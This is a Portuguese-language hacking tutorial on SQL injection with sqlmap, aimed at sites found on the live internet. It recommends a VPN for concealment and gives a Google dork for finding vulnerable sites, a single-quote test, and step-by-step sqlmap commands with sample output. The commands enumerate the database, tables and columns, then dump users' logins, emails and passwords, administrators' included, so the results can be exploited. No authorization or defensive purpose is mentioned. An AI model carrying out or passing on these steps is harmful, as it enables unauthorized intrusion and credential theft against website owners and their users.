Antes de começarmos, estarei dando uma breve explicação do que é Sql Injection.SQLi.:
O SQL Injection é um ataque que visa enviar comandos nocivos à base de dados através de campos de formulários ou através de URLs. Um ataque bem-sucedido pode, por exemplo, apagar uma tabela do banco, deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas.
O SQLi (sql injection) é muito importante para quem está embarcando no mundo hacker, pois é uma das melhores ferramentas para invasão de sites, e pode colaborar bastante para ataques bem sucedidos.
SQL MAP: O sqlmap, é uma ferramenta para PenTest, não necessáriamente criada para fins Crackers, envolvendo invasão de sites, mas sim para a Exploração de erros causada por uma mal programação.
VPN: VPN (siglas em inglês de Virtual Private Network) é um método de proteger a informação na InterWebz. Ao escolher um VPN, você decide pelo país que tem a maior “preservação” dos seus dados. Por exemplo, os VPN da Suécia e Islândia são mais seguros que dos EUA. Lembrando que os pagos são mais seguros ainda.
------------------------------------------------------------------------------------------------
Não estarei me responsabilizando por nenhum ataque mal sucedido baseado nesse tutorial.
------------------------------------------------------------------------------------------------
Recomendo o Uso das seguintes Ferramentas:
SqlMap (a ferramanta para realizarmos ataques) : -- https://sqlmap.org/
Um bom VPN ( que fará o trabalho de te camuflar na rede):
(Obs.: se você usa Windows, é necessário a instalação do Python. disponivel para download no seguinte site):
https://www.baixaki.com.br/download/python.htm
--------------------------------------------------------------------------------------------
e lembre-se, você nunca estará 100% protegido na internet!
--------------------------------------------------------------------------------------------
Vamos ao Tutorial:
Após a instalação do programa na sua maquina vamos abrir e executa-lo para iniciar os testes de ataque.
Para abrir o programa você deve executar o seguinte comando no CMD ou Shell:
Linux: ./sqlmap.py
Windows ./python sqlmap/sqlmap.py
Escolha um site vulneravel na internet, no nosso caso estarei inventando um exemplo.
uma boa ferramenta para descobrir páginas vulneraveis na internet, é o google, com a pesquisa de DORKS, o que estarei explicando em um outro momento.
mas para não ficar com as mãos abanando, digite no google a seguinte string:
inurl:noticias.php?id=
Com essa pesquisa você encontrará uma lista de sites que estariam provavelmente vulneraveis, para descobrirmos a vulnerabilidade devemos digitar uma aspa simples no site, e ficará assim:
www.siteexemplo.com.br/noticias.php?id=123
depois da aspa simples ficará assim:
www.siteexemplo.com.br/noticias.php?id=123'
se o site retornar um erro de sintaxe , quer dizer que ele está vulneravel.
caso contrario, passe para o próximo site, e efetue novamente o teste.
Depois de acharmos um site vulneravel, abrimos novamente o Sql map e digitamos o comando:
./sqlmap.py --url www.siteexemplo.com.br/noticias.php?id=123 --current-db
--current-db = Mostra o banco de dados que esta sendo usado no site.
(note que não coloquei a aspa simples no final da pagina para nao dar nenhum tipo de erro no programa.)
Nesse momento, o programa irá escanear possiveis erros de programação no site, e tentará nos retornar o banco de dados do site.
exemplo:
--------------------------------------------------------------------
[12:03:17] [info] feching database names
[12:03:19] [info] database found
[12:03:21] [info] 1 database found
[12:03:22] [info] retrieved: [exemplo_database]
AVAIABLE DATABASES FOUND:
* [exemplo_database]
web aplication: APACHE
-------------------------------------------------------------------------
A database foi encontrada (exemplo_database), agora iremos fazer um escaneamento nela para encontrar as tabelas.
./sqlmap.py --url www.siteexemplo.com.br/noticias.php?id=123 -D exemplo_database --tables
e em poucos instantes ele nos retorna o seguinte resultado:
[12:24:03] [INFO] feching tables
[12:24:03] [INFO] tables found
Current Database: exemplo_database
tables avaiable:
--------------------
login
noticias
ID
cidades
formularios
bairros
estradas
noticias2
---------------------
Achamos as tabelas, agora vamos selecionar uma delas que pode conter os logins. que será a tabela: login
executamos o seguinte comando
./sqlmap.py --url www.siteexemplo.com.br/noticias.php?id=123 -D exemplo_database -T login --columns
e obteremos o seguinte resultado:
------------------------------------------------
[12:25:03] [info] Retrieved: Varchar(205)
[12:25:03] [info] Retrieved: email
[12:25:03] [info] Retrieved:Varchar(205)
[12:25:03] [info] Retrieved: login
[12:25:03] [info] Retrieved:Varchar(205)
[12:25:03] [info] Retrieved:senha
[12:25:03] [info] Retrieved:Form
------------------------------------------------
Database: exemplo_database
table: login
columns 3 results
------------|------------
|email |varchar(250)|
-----------------------------
|senha |varchar(250)|
-----------------------------
|login |form |
-------------------------------------------------------------------------------------
agora vamos pegar esses dados e obter resultados.
com o nosso próximo comando, iremos obter os logins, emails e senhas dos usuarios desse site, podendo pegar até os de administradores.
-------------------------------------------------------------------------------------------
./sqlmap.py --url www.siteexemplo.com.br/noticias.php?id= -D exemplo_database -T login -C 'login,email,senha' --dump
agora o sqlmap irá listar os logins, emails e senhas dos usuarios.
e com isso, é so tirar proveito dos resultados.
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------
Bom, galera, eu fico por aqui.
depois, caso seja de agrado, poderei estar a fazer uma video-aula explicando melhor essa tecnica.
estarei postando mais tutoriais se vocês gostarem, valeu!